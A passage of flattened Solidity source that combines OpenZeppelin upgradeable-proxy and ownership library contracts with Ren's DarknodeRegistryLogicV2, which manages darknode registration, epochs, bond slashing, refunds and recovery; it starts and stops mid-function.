if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/ownership/Ownable.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Ownable implementation from an openzeppelin version. */ contract OpenZeppelinUpgradesOwnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; import './BaseAdminUpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } pragma solidity ^0.5.0; import './UpgradeabilityProxy.sol'; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } pragma solidity ^0.5.0; import './Proxy.sol'; import '../utils/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } pragma solidity ^0.5.0; import './BaseAdminUpgradeabilityProxy.sol'; import './InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, address _admin, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } pragma solidity ^0.5.0; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } pragma solidity ^0.5.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } pragma solidity ^0.5.0; import "../ownership/Ownable.sol"; import "./AdminUpgradeabilityProxy.sol"; /** * @title ProxyAdmin * @dev This contract is the admin of a proxy, and is in charge * of upgrading it as well as transferring it to another admin. */ contract ProxyAdmin is OpenZeppelinUpgradesOwnable { /** * @dev Returns the current implementation of a proxy. * This is needed because only the proxy admin can query it. * @return The address of the current implementation of the proxy. */ function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("implementation()")) == 0x5c60da1b (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } /** * @dev Returns the admin of a proxy. Only the admin can query it. * @return The address of the current admin of the proxy. */ function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("admin()")) == 0xf851a440 (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } /** * @dev Changes the admin of a proxy. * @param proxy Proxy to change admin. * @param newAdmin Address to transfer proxy administration to. */ function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner { proxy.changeAdmin(newAdmin); } /** * @dev Upgrades a proxy to the newest implementation of a contract. * @param proxy Proxy to be upgraded. * @param implementation the address of the Implementation. */ function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner { proxy.upgradeTo(implementation); } /** * @dev Upgrades a proxy to the newest implementation of a contract and forwards a function call to it. * This is useful to initialize the proxied contract. * @param proxy Proxy to be upgraded. * @param implementation Address of the Implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) payable public onlyOwner { proxy.upgradeToAndCall.value(msg.value)(implementation, data); } } pragma solidity ^0.5.0; import './BaseUpgradeabilityProxy.sol'; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } pragma solidity ^0.5.0; /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "@openzeppelin/upgrades/contracts/upgradeability/InitializableAdminUpgradeabilityProxy.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../RenToken/RenToken.sol"; import "./DarknodeRegistryStore.sol"; import "../Governance/Claimable.sol"; import "../libraries/CanReclaimTokens.sol"; import "./DarknodeRegistryV1.sol"; contract DarknodeRegistryStateV2 {} /// @notice DarknodeRegistry is responsible for the registration and /// deregistration of Darknodes. contract DarknodeRegistryLogicV2 is Claimable, CanReclaimTokens, DarknodeRegistryStateV1, DarknodeRegistryStateV2 { using SafeMath for uint256; /// @notice Emitted when a darknode is registered. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was registered. /// @param _bond The amount of REN that was transferred as bond. event LogDarknodeRegistered( address indexed _darknodeOperator, address indexed _darknodeID, uint256 _bond ); /// @notice Emitted when a darknode is deregistered. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was deregistered. event LogDarknodeDeregistered( address indexed _darknodeOperator, address indexed _darknodeID ); /// @notice Emitted when a refund has been made. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was refunded. /// @param _amount The amount of REN that was refunded. event LogDarknodeRefunded( address indexed _darknodeOperator, address indexed _darknodeID, uint256 _amount ); /// @notice Emitted when a recovery has been made. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was recovered. /// @param _bondRecipient The address that received the bond. /// @param _submitter The address that called the recover method. event LogDarknodeRecovered( address indexed _darknodeOperator, address indexed _darknodeID, address _bondRecipient, address indexed _submitter ); /// @notice Emitted when a darknode's bond is slashed. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was slashed. /// @param _challenger The address of the account that submitted the challenge. /// @param _percentage The total percentage of bond slashed. event LogDarknodeSlashed( address indexed _darknodeOperator, address indexed _darknodeID, address indexed _challenger, uint256 _percentage ); /// @notice Emitted when a new epoch has begun. event LogNewEpoch(uint256 indexed epochhash); /// @notice Emitted when a constructor parameter has been updated. event LogMinimumBondUpdated( uint256 _previousMinimumBond, uint256 _nextMinimumBond ); event LogMinimumPodSizeUpdated( uint256 _previousMinimumPodSize, uint256 _nextMinimumPodSize ); event LogMinimumEpochIntervalUpdated( uint256 _previousMinimumEpochInterval, uint256 _nextMinimumEpochInterval ); event LogSlasherUpdated( address indexed _previousSlasher, address indexed _nextSlasher ); event LogDarknodePaymentUpdated( address indexed _previousDarknodePayment, address indexed _nextDarknodePayment ); /// @notice Restrict a function to the owner that registered the darknode. modifier onlyDarknodeOperator(address _darknodeID) { require( store.darknodeOperator(_darknodeID) == msg.sender, "DarknodeRegistry: must be darknode owner" ); _; } /// @notice Restrict a function to unregistered darknodes. modifier onlyRefunded(address _darknodeID) { require( isRefunded(_darknodeID), "DarknodeRegistry: must be refunded or never registered" ); _; } /// @notice Restrict a function to refundable darknodes. modifier onlyRefundable(address _darknodeID) { require( isRefundable(_darknodeID), "DarknodeRegistry: must be deregistered for at least one epoch" ); _; } /// @notice Restrict a function to registered nodes without a pending /// deregistration. modifier onlyDeregisterable(address _darknodeID) { require( isDeregisterable(_darknodeID), "DarknodeRegistry: must be deregisterable" ); _; } /// @notice Restrict a function to the Slasher contract. modifier onlySlasher() { require( address(slasher) == msg.sender, "DarknodeRegistry: must be slasher" ); _; } /// @notice Restrict a function to registered and deregistered nodes. modifier onlyDarknode(address _darknodeID) { require( isRegistered(_darknodeID) || isDeregistered(_darknodeID), "DarknodeRegistry: invalid darknode" ); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RenToken contract. /// @param _storeAddress The address of the DarknodeRegistryStore contract. /// @param _minimumBond The minimum bond amount that can be submitted by a /// Darknode. /// @param _minimumPodSize The minimum size of a Darknode pod. /// @param _minimumEpochIntervalSeconds The minimum number of seconds between epochs. function initialize( string memory _VERSION, RenToken _renAddress, DarknodeRegistryStore _storeAddress, uint256 _minimumBond, uint256 _minimumPodSize, uint256 _minimumEpochIntervalSeconds, uint256 _deregistrationIntervalSeconds ) public initializer { Claimable.initialize(msg.sender); CanReclaimTokens.initialize(msg.sender); VERSION = _VERSION; store = _storeAddress; ren = _renAddress; minimumBond = _minimumBond; nextMinimumBond = minimumBond; minimumPodSize = _minimumPodSize; nextMinimumPodSize = minimumPodSize; minimumEpochInterval = _minimumEpochIntervalSeconds; nextMinimumEpochInterval = minimumEpochInterval; deregistrationInterval = _deregistrationIntervalSeconds; uint256 epochhash = uint256(blockhash(block.number - 1)); currentEpoch = Epoch({ epochhash: epochhash, blocktime: block.timestamp }); emit LogNewEpoch(epochhash); } /// @notice Register a darknode and transfer the bond to this contract. /// Before registering, the bond transfer must be approved in the REN /// contract. The caller must provide a public encryption key for the /// darknode. The darknode will remain pending registration until the next /// epoch. Only after this period can the darknode be deregistered. The /// caller of this method will be stored as the owner of the darknode. /// /// @param _darknodeID The darknode ID that will be registered. function registerNode(address _darknodeID) public onlyRefunded(_darknodeID) { require( _darknodeID != address(0), "DarknodeRegistry: darknode address cannot be zero" ); // Use the current minimum bond as the darknode's bond and transfer bond to store require( ren.transferFrom(msg.sender, address(store), minimumBond), "DarknodeRegistry: bond transfer failed" ); // Flag this darknode for registration store.appendDarknode( _darknodeID, msg.sender, minimumBond, "", currentEpoch.blocktime.add(minimumEpochInterval), 0 ); numDarknodesNextEpoch = numDarknodesNextEpoch.add(1); // Emit an event. emit LogDarknodeRegistered(msg.sender, _darknodeID, minimumBond); } /// @notice An alias for `registerNode` that includes the legacy public key /// parameter. /// @param _darknodeID The darknode ID that will be registered. /// @param _publicKey Deprecated parameter - see `registerNode`. function register(address _darknodeID, bytes calldata _publicKey) external { return registerNode(_darknodeID); } /// @notice Register multiple darknodes and transfer the bonds to this contract. /// Before registering, the bonds transfer must be approved in the REN contract. /// The darknodes will remain pending registration until the next epoch. Only /// after this period can the darknodes be deregistered. The caller of this method /// will be stored as the owner of each darknode. If one registration fails, all /// registrations fail. /// @param _darknodeIDs The darknode IDs that will be registered. function registerMultiple(address[] calldata _darknodeIDs) external { // Save variables in memory to prevent redundant reads from storage DarknodeRegistryStore _store = store; Epoch memory _currentEpoch = currentEpoch; uint256 nextRegisteredAt = _currentEpoch.blocktime.add( minimumEpochInterval ); uint256 _minimumBond = minimumBond; require( ren.transferFrom( msg.sender, address(_store), _minimumBond.mul(_darknodeIDs.length) ), "DarknodeRegistry: bond transfers failed" ); for (uint256 i = 0; i < _darknodeIDs.length; i++) { address darknodeID = _darknodeIDs[i]; uint256 registeredAt = _store.darknodeRegisteredAt(darknodeID); uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID); require( _isRefunded(registeredAt, deregisteredAt), "DarknodeRegistry: must be refunded or never registered" ); require( darknodeID != address(0), "DarknodeRegistry: darknode address cannot be zero" ); _store.appendDarknode( darknodeID, msg.sender, _minimumBond, "", nextRegisteredAt, 0 ); emit LogDarknodeRegistered(msg.sender, darknodeID, _minimumBond); } numDarknodesNextEpoch = numDarknodesNextEpoch.add(_darknodeIDs.length); } /// @notice Deregister a darknode. The darknode will not be deregistered /// until the end of the epoch. After another epoch, the bond can be /// refunded by calling the refund method. /// @param _darknodeID The darknode ID that will be deregistered. The caller /// of this method must be the owner of this darknode. function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOperator(_darknodeID) { deregisterDarknode(_darknodeID); } /// @notice Deregister multiple darknodes. The darknodes will not be /// deregistered until the end of the epoch. After another epoch, their /// bonds can be refunded by calling the refund or refundMultiple methods. /// If one deregistration fails, all deregistrations fail. /// @param _darknodeIDs The darknode IDs that will be deregistered. The /// caller of this method must be the owner of each darknode. function deregisterMultiple(address[] calldata _darknodeIDs) external { // Save variables in memory to prevent redundant reads from storage DarknodeRegistryStore _store = store; Epoch memory _currentEpoch = currentEpoch; uint256 _minimumEpochInterval = minimumEpochInterval; for (uint256 i = 0; i < _darknodeIDs.length; i++) { address darknodeID = _darknodeIDs[i]; uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID); bool registered = isRegisteredInEpoch( _store.darknodeRegisteredAt(darknodeID), deregisteredAt, _currentEpoch ); require( _isDeregisterable(registered, deregisteredAt), "DarknodeRegistry: must be deregisterable" ); require( _store.darknodeOperator(darknodeID) == msg.sender, "DarknodeRegistry: must be darknode owner" ); _store.updateDarknodeDeregisteredAt( darknodeID, _currentEpoch.blocktime.add(_minimumEpochInterval) ); emit LogDarknodeDeregistered(msg.sender, darknodeID); } numDarknodesNextEpoch = numDarknodesNextEpoch.sub(_darknodeIDs.length); } /// @notice Progress the epoch if it is possible to do so. This captures /// the current timestamp and current blockhash and overrides the current /// epoch. function epoch() external { if (previousEpoch.blocktime == 0) { // The first epoch must be called by the owner of the contract require( msg.sender == owner(), "DarknodeRegistry: not authorized to call first epoch" ); } // Require that the epoch interval has passed require( block.timestamp >= currentEpoch.blocktime.add(minimumEpochInterval), "DarknodeRegistry: epoch interval has not passed" ); uint256 epochhash = uint256(blockhash(block.number - 1)); // Update the epoch hash and timestamp previousEpoch = currentEpoch; currentEpoch = Epoch({ epochhash: epochhash, blocktime: block.timestamp }); // Update the registry information numDarknodesPreviousEpoch = numDarknodes; numDarknodes = numDarknodesNextEpoch; // If any update functions have been called, update the values now if (nextMinimumBond != minimumBond) { minimumBond = nextMinimumBond; emit LogMinimumBondUpdated(minimumBond, nextMinimumBond); } if (nextMinimumPodSize != minimumPodSize) { minimumPodSize = nextMinimumPodSize; emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize); } if (nextMinimumEpochInterval != minimumEpochInterval) { minimumEpochInterval = nextMinimumEpochInterval; emit LogMinimumEpochIntervalUpdated( minimumEpochInterval, nextMinimumEpochInterval ); } if (nextSlasher != slasher) { slasher = nextSlasher; emit LogSlasherUpdated(address(slasher), address(nextSlasher)); } // Emit an event emit LogNewEpoch(epochhash); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodeRegistryStore. /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(DarknodeRegistryLogicV2 _newOwner) external onlyOwner { store.transferOwnership(address(_newOwner)); _newOwner.claimStoreOwnership(); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another Darknode Registry. function claimStoreOwnership() external { store.claimOwnership(); // Sync state with new store. // Note: numDarknodesPreviousEpoch is set to 0 for a newly deployed DNR. ( numDarknodesPreviousEpoch, numDarknodes, numDarknodesNextEpoch ) = getDarknodeCountFromEpochs(); } /// @notice Allows the contract owner to update the minimum bond. /// @param _nextMinimumBond The minimum bond amount that can be submitted by /// a darknode. function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner { // Will be updated next epoch nextMinimumBond = _nextMinimumBond; } /// @notice Allows the contract owner to update the minimum pod size. /// @param _nextMinimumPodSize The minimum size of a pod. function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner { // Will be updated next epoch nextMinimumPodSize = _nextMinimumPodSize; } /// @notice Allows the contract owner to update the minimum epoch interval. /// @param _nextMinimumEpochInterval The minimum number of blocks between epochs. function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner { // Will be updated next epoch nextMinimumEpochInterval = _nextMinimumEpochInterval; } /// @notice Allow the contract owner to update the DarknodeSlasher contract /// address. /// @param _slasher The new slasher address. function updateSlasher(IDarknodeSlasher _slasher) external onlyOwner { nextSlasher = _slasher; } /// @notice Allow the DarknodeSlasher contract to slash a portion of darknode's /// bond and deregister it. /// @param _guilty The guilty prover whose bond is being slashed. /// @param _challenger The challenger who should receive a portion of the bond as reward. /// @param _percentage The total percentage of bond to be slashed. function slash( address _guilty, address _challenger, uint256 _percentage ) external onlySlasher onlyDarknode(_guilty) { require(_percentage <= 100, "DarknodeRegistry: invalid percent"); // If the darknode has not been deregistered then deregister it if (isDeregisterable(_guilty)) { deregisterDarknode(_guilty); } uint256 totalBond = store.darknodeBond(_guilty); uint256 penalty = totalBond.div(100).mul(_percentage); uint256 challengerReward = penalty.div(2); uint256 slasherPortion = penalty.sub(challengerReward); if (challengerReward > 0) { // Slash the bond of the failed prover store.updateDarknodeBond(_guilty, totalBond.sub(penalty)); // Forward the remaining amount to be handled by the slasher. require( ren.transfer(msg.sender, slasherPortion), "DarknodeRegistry: reward transfer to slasher failed" ); require( ren.transfer(_challenger, challengerReward), "DarknodeRegistry: reward transfer to challenger failed" ); } emit LogDarknodeSlashed( store.darknodeOperator(_guilty), _guilty, _challenger, _percentage ); } /// @notice Refund the bond of a deregistered darknode. This will make the /// darknode available for registration again. /// /// @param _darknodeID The darknode ID that will be refunded. function refund(address _darknodeID) external onlyRefundable(_darknodeID) onlyDarknodeOperator(_darknodeID) { // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the operator by transferring REN require( ren.transfer(msg.sender, amount), "DarknodeRegistry: bond transfer failed" ); // Emit an event. emit LogDarknodeRefunded(msg.sender, _darknodeID, amount); } /// @notice A permissioned method for refunding a darknode without the usual /// delay. The operator must provide a signature of the darknode ID and the /// bond recipient, but the call must come from the contract's owner. The /// main use case is for when an operator's keys have been compromised, /// allowing for the bonds to be recovered by the operator through the /// GatewayRegistry's governance. It is expected that this process would /// happen towards the end of the darknode's deregistered period, so that /// a malicious operator can't use this to quickly exit their stake after /// attempting an attack on the network. It's also expected that the /// operator will not re-register the same darknode again. function recover( address _darknodeID, address _bondRecipient, bytes calldata _signature ) external onlyOwner { require( isRefundable(_darknodeID) || isDeregistered(_darknodeID), "DarknodeRegistry: must be deregistered" ); address darknodeOperator = store.darknodeOperator(_darknodeID); require( ECDSA.recover( keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n64", "DarknodeRegistry.recover", _darknodeID, _bondRecipient ) ), _signature ) == darknodeOperator, "DarknodeRegistry: invalid signature" ); // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the operator by transferring REN require( ren.transfer(_bondRecipient, amount), "DarknodeRegistry: bond transfer failed" ); // Emit an event. emit LogDarknodeRefunded(darknodeOperator, _darknodeID, amount); emit LogDarknodeRecovered( darknodeOperator, _darknodeID, _bondRecipient, msg.sender ); } /// @notice Refund the bonds of multiple deregistered darknodes. This will /// make the darknodes available for registration again. If one refund fails, /// all refunds fail. /// @param _darknodeIDs The darknode IDs that will be refunded. function refundMultiple(address[] calldata _darknodeIDs) external { // Save variables in memory to prevent redundant reads from storage DarknodeRegistryStore _store = store; Epoch memory _currentEpoch = currentEpoch; Epoch memory _previousEpoch = previousEpoch; uint256 _deregistrationInterval = deregistrationInterval; // The sum of bonds to refund uint256 sum; for (uint256 i = 0; i < _darknodeIDs.length; i++) { address darknodeID = _darknodeIDs[i]; uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID); bool deregistered = _isDeregistered(deregisteredAt, _currentEpoch); require( _isRefundable( deregistered, deregisteredAt, _previousEpoch, _deregistrationInterval ), "DarknodeRegistry: must be deregistered for at least one epoch" ); require( _store.darknodeOperator(darknodeID) == msg.sender, "DarknodeRegistry: must be darknode owner" ); // Remember the bond amount uint256 amount = _store.darknodeBond(darknodeID); // Erase the darknode from the registry _store.removeDarknode(darknodeID); // Emit an event emit LogDarknodeRefunded(msg.sender, darknodeID, amount); // Increment the sum of bonds to be transferred sum = sum.add(amount); } // Transfer all bonds together require( ren.transfer(msg.sender, sum), "DarknodeRegistry: bond transfers failed" ); } /// @notice Retrieves the address of the account that registered a darknode. /// @param _darknodeID The ID of the darknode to retrieve the owner for. function getDarknodeOperator(address _darknodeID) external view returns (address payable) { return store.darknodeOperator(_darknodeID); } /// @notice Retrieves the bond amount of a darknode in 10^-18 REN. /// @param _darknodeID The ID of the darknode to retrieve the bond for. function getDarknodeBond(address _darknodeID) external view returns (uint256) { return store.darknodeBond(_darknodeID); } /// @notice Retrieves the encryption public key of the darknode. /// @param _darknodeID The ID of the darknode to retrieve the public key for. function getDarknodePublicKey(address _darknodeID) external view 